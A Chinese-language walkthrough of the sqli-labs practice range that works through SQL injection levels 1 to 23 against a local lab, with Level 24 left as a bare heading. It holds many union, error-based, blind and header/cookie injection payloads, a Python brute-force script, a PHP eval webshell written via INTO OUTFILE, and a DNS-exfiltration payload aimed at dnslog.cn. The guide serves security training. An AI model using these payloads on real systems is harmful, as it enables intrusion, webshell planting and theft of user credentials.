sqli-labs通关攻略

sqli-labs

  • less 1---单引号字符型注入
    • 判断注入点
    • 判断列数
    • 判断数据显示位置
    • 插入SQL的一些语句去查询更多信息
      • 查找当前使用的数据库的名称
    • 查询所有的库名
    • 查询所有的表名
      • 查找security数据库的信息
      • 查看user表中的列名
      • 查看user表中的username这一列的值
      • 查看user表中的密码这一列的值
  • less 2---整型注入
    • 判断注入点
    • 判断列数
    • 判断数据显示位置
    • 判断数据显示位置
    • 插入SQL语句查询更多信息
  • less 3---单引号变形字符型注入
    • 判断注入点
  • less 4---双引号字符型注入
    • 判断注入点
  • less 5---双注入单引号字符型注入
    • 判断注入点
  • less 6---双注入双引号字符型注入
  • less 7---导出文件字符型注入
    • 判断注入点
    • 判断列数
  • less 8---布尔型单引号盲注
    • 判断注入点
    • dns回显注入
  • less 9---基于时间的单引号盲注
    • 判断注入点
  • less 10---基于时间的双引号盲注
  • less 11---POST型单引号字符型注入
    • 判断注入点
    • 判断列数
    • 判断数据显示的位置
    • 插入SQL查询语句
  • less 12---双引号POST型字符型变形的注入
  • less 13---POST单引号变形双注入
  • less 14---POST单引号变形双注入
  • less 15---基于bool型/时间延迟单引号POST型盲注
  • less 16---基于bool型/时间延迟的双引号POST型盲注
  • less 17---基于错误的更新查询POST注入
  • less 18---基于错误的用户代理,头部POST注入
  • less 19---Referer POST报错注入
  • less 20---cookie头部POST注入
  • less 21---复杂的字符型Cookie注入
  • less 22---双引号字符型Cookie注入
  • less 23---基于错误的,过滤注释的GET型
  • less 24---二次注入

less 1—单引号字符型注入

字符型注入,单引号
sqli-labs通关攻略_第1张图片

网址后面接

?id=1

sqli-labs通关攻略_第2张图片
正常显示,然后

判断注入点

?id=1' and 1=1--+

将1=1换成1=2,发现没有报错,但不显示信息,说明可以使用字符注入

之后

判断列数

使用order by,从1开始逐渐递增,报错时停止。

?id=1' order by 1--+

由此我们可以确认列数为3(4报错)
sqli-labs通关攻略_第3张图片

判断数据显示位置

我们地址后输入

?id=0' union select 1,2,3--+

sqli-labs通关攻略_第4张图片
然后便可以

插入SQL的一些语句去查询更多信息

查找当前使用的数据库的名称

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+

查询所有的库名

http://127.0.0.1/sqli-labs-master/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+

查询所有的表名

http://127.0.0.1/sqli-labs-master/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

查找security数据库的信息

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查看user表中的列名

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+

查看user表中的username这一列的值

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(username) from security.users--+

查看user表中的密码这一列的值

http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(password) from security.users--+

less 2—整型注入

sqli-labs通关攻略_第5张图片
我们先

判断注入点

?id=1 and 1=1--+

将1=1换成1=2,不显示信息,不报错。
sqli-labs通关攻略_第6张图片
接着

判断列数

地址后接

?id=1 order by 1--+

判断数据显示位置

与less1大致相同

判断数据显示位置

与less1大致相同

插入SQL语句查询更多信息

与less1大致相同

less 3—单引号变形字符型注入

sqli-labs通关攻略_第7张图片
我们查看一下该关卡的源代码可以看到
sqli-labs通关攻略_第8张图片
这就需要我们注入的时候闭合掉括号

判断注入点

?id=1') and 1=1 --+

在查询其他信息的时候记住
id后面加上’)再添加相应的语句查询

步骤同上

less 4—双引号字符型注入

sqli-labs通关攻略_第9张图片

判断注入点

将接在id的值的后面的')换成"

http://127.0.0.1/sqli-labs-master/Less-4/?id=1" and 1=2--+

sqli-labs通关攻略_第10张图片
其他不变

less 5—双注入单引号字符型注入

sqli-labs通关攻略_第11张图片
我们首先尝试

判断注入点

http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=1--+

发现显示
sqli-labs通关攻略_第12张图片
显示了报错信息,再查看下源代码确定下~
sqli-labs通关攻略_第13张图片
问题不大,也就是说如果查询语句执行正确,我们会看到

sqli-labs通关攻略_第14张图片
执行错误则显示错误信息

这里贴一个用来爆破数据库名长度和具体名称的python脚本,测试url也就是靶场的第五关,原理也就是布尔盲注的原理

import requests

def database_len():
    global aa
    for i in range(1, 10):
        url = '''http://127.0.0.1/sqli-labs-master/Less-5/index.php'''
        payload = '''?id=1' and length(database())>%s''' % i
        # print(url+payload+'%23')
        r = requests.get(url + payload + '%23')
        if 'You are in' in r.text:
            print(i)
            continue
        else:
            # print('false')
            print('database_length:', i)
            aa = i
            break
def database_name():
    global aa
    name = ''
    for j in range(1, aa+1):
        for i in 'sqcwertyuioplkjhgfdazxvbnm':
            url = "http://127.0.0.1/sqli-labs-master/Less-5/index.php?id=1' and substr(database(),%d,1)='%s'" % (j, i)
            # print(url+'%23')
            r = requests.get(url + '%23')
            if 'You are in' in r.text:
                name = name + i

                print(name)

                break
    print('database_name:', name)
if __name__ == "__main__":
    aa = 0
    database_len()
    database_name()

因为注入点有报错信息,所以也可以使用报错注入

url后面接:

?id=-1'and(select updatexml(1,concat(0x7E,(select database()),0x7E),1)) --+

即可爆出数据库名
sqli-labs通关攻略_第15张图片
另外时间盲注也可用于本题

用于判断数据库名的长度的语句

http://localhost/sqli-labs-master/Less-5/?id=1' and if(length(database())=8,sleep(5),sleep(1))--+

在这里插入图片描述

less 6—双注入双引号字符型注入

sqli-labs通关攻略_第16张图片
看名字也和第五关差不多,将第五关的单引号替换为双引号即可。

http://127.0.0.1/sqli-labs-master/Less-5/?id=1" and 1=1--+

less 7—导出文件字符型注入

sqli-labs通关攻略_第17张图片

判断注入点

http://localhost/sqli-labs-master/Less-7/?id=1'))--+

判断列数

url后当order by 后的数字等于4时开始报错,所以列数为3

?id=1')) order by 4--+

sqli-labs通关攻略_第18张图片
然后我们还可以通过文件的读写来上传shell

http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php eval($_REQUEST[a]); ?>',3 into outfile 'D://1.php'--+

sqli-labs通关攻略_第19张图片
用蚁剑或者菜刀连接均可

less 8—布尔型单引号盲注

sqli-labs通关攻略_第20张图片

判断注入点

http://localhost/sqli-labs-master/Less-8/?id=1' and 1=1--+

在判断列数的时候,输入4,错误无回显

http://localhost/sqli-labs-master/Less-8/?id=1' order by 4--+

sqli-labs通关攻略_第21张图片
所以报错注入就不适用,可以使用布尔注入和时间注入。具体可看less5
同时,该题也可用dns回显注入(当目标无显示位也无错误回显时便可使用此方法)

dns回显注入

我们用这个网址

http://www.dnslog.cn/

sqli-labs通关攻略_第22张图片
点击get。。之后产生的网址

1mdsdg.dnslog.cn

于是我们可以构造payload

http://localhost/sqli-labs-master/Less-8/?id=1' and load_file(concat("\\\\",(database()),".2asf57f.dnslog.cn\\1.txt")) --+

sqli-labs通关攻略_第23张图片

less 9—基于时间的单引号盲注

sqli-labs通关攻略_第24张图片

判断注入点

http://localhost/sqli-labs-master/Less-9/?id=1' and 1=1 --+

测试后发现,错误语句页面也不变。则可以使用时间盲注,当然同样可以使用DNS回显
在这里插入图片描述

less 10—基于时间的双引号盲注

sqli-labs通关攻略_第25张图片
将单引号换成双引号就可
可使用时间盲注和DNS回显

less 11—POST型单引号字符型注入

sqli-labs通关攻略_第26张图片

判断注入点

我们首先尝试Username 为admin'#,密码随便输入,成功进入
sqli-labs通关攻略_第27张图片
然后还可以在Usename处

判断列数

admin' order by 3 #

sqli-labs通关攻略_第28张图片

判断数据显示的位置

我们在Usename里输入

as' union select 1,2#

发现选择3时会报错,所以数据的显示就是第一列和第二列

插入SQL查询语句

同less1类似,插入在Usename中

当然,此时也可以使用报错注入

Usename中输入,password随便填写

sa' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1)#

less 12—双引号POST型字符型变形的注入

sqli-labs通关攻略_第29张图片
同less11类似,不同的是闭合的符号有些不一样
Usename中变为此形式即可

a")

less 13—POST单引号变形双注入

sqli-labs通关攻略_第30张图片
测试以后的界面

sqli-labs通关攻略_第31张图片
无回显。我们可以尝试使用报错注入

admin') and extractvalue(1,concat(0x7e,(select database()))) #

然后还可以使用时间盲注

less 14—POST单引号变形双注入

sqli-labs通关攻略_第32张图片
界面和上一关相同,我们尝试使用报错注入

admin" and extractvalue(1,concat(0x7e,(select database())))#

sqli-labs通关攻略_第33张图片

less 15—基于bool型/时间延迟单引号POST型盲注

sqli-labs通关攻略_第34张图片
单引号直接闭合

ads' or 1=1#

在Usename中插入时间盲注语句,简单判断一下数据库的长度

ads' and if(length(database())=8,sleep(5),sleep(1))#

在这里插入图片描述
可以看到时间大于5秒,时间盲注可行

less 16—基于bool型/时间延迟的双引号POST型盲注

sqli-labs通关攻略_第35张图片
和上一关类似,仅仅需要将单引号改成双引号。

ads" or 1=1#

less 17—基于错误的更新查询POST注入

sqli-labs通关攻略_第36张图片

我们再查看一下源代码

sqli-labs通关攻略_第37张图片
可以知道uname参数会被一个函数check_input()包裹
我们尝试寻找函数具体语句

sqli-labs通关攻略_第38张图片
可以看到使用了get_magic_quotes_gpc()进行过滤。
但是这都是针对Usename的,password没有任何限制。那么我们可以在password进行报错注入

我们在Usename中输入admin

password中输入:

admin' and updatexml(1,concat(0x7e,version(),0x7e),1) --+

less 18—基于错误的用户代理,头部POST注入

sqli-labs通关攻略_第39张图片
我们直接输入正确的账号和密码试试
sqli-labs通关攻略_第40张图片
可以看到出现有User Agent回显,所以我们可以抓包,然后再修改User Agent,在其插入SQL语句

'and updatexml(1,concat(0x7e, database(),0x7e),1) and '1'='1

sqli-labs通关攻略_第41张图片

less 19—Referer POST报错注入

sqli-labs通关攻略_第42张图片
老规矩,我们用正确的账户测试一下回显的位置
sqli-labs通关攻略_第43张图片
发现出现了Referer,我们尝试抓包,再修改Referer,语句和上一关一样,只是修改的位置不同。

'and updatexml(1,concat(0x7e, database(),0x7e),1) and '1'='1

sqli-labs通关攻略_第44张图片

less 20—cookie头部POST注入

sqli-labs通关攻略_第45张图片
我们输入了正确的账户之后,出现了很多回显。我们再抓登陆的包看一下
sqli-labs通关攻略_第46张图片

那我们尝试将最后一行行删除,然后修添加cookie

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

sqli-labs通关攻略_第47张图片
成功出现报错回显

less 21—复杂的字符型Cookie注入

同样,我们首先输入正确的账户信息登陆来查看回显
sqli-labs通关攻略_第48张图片
发现uname的值变成了大小写英文加数字的组合,显然是进行了编码
这里是base64编码

我们抓包试试,然后重复上一关的操作来添加cookie

' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

我们将这条语句用base64编码,然后再点击Go
sqli-labs通关攻略_第49张图片

less 22—双引号字符型Cookie注入

sqli-labs通关攻略_第50张图片
这一关和前两关类似,注入时只要将单引号换成双引号即可

" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1

less 23—基于错误的,过滤注释的GET型

sqli-labs通关攻略_第51张图片
我们查看一下源代码
sqli-labs通关攻略_第52张图片
发现本关中将注释符给替换了。SQL语句中我们可以看出这里是单引号字符型注入。
我们构造SQL语句

?id=1'union select 1,2,3 and '1'='1

sqli-labs通关攻略_第53张图片
然后我们尝试爆库

?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata where 1 and '1'='1

sqli-labs通关攻略_第54张图片

less 24—二次注入

你可能感兴趣的:(渗透安全类靶场,数据库)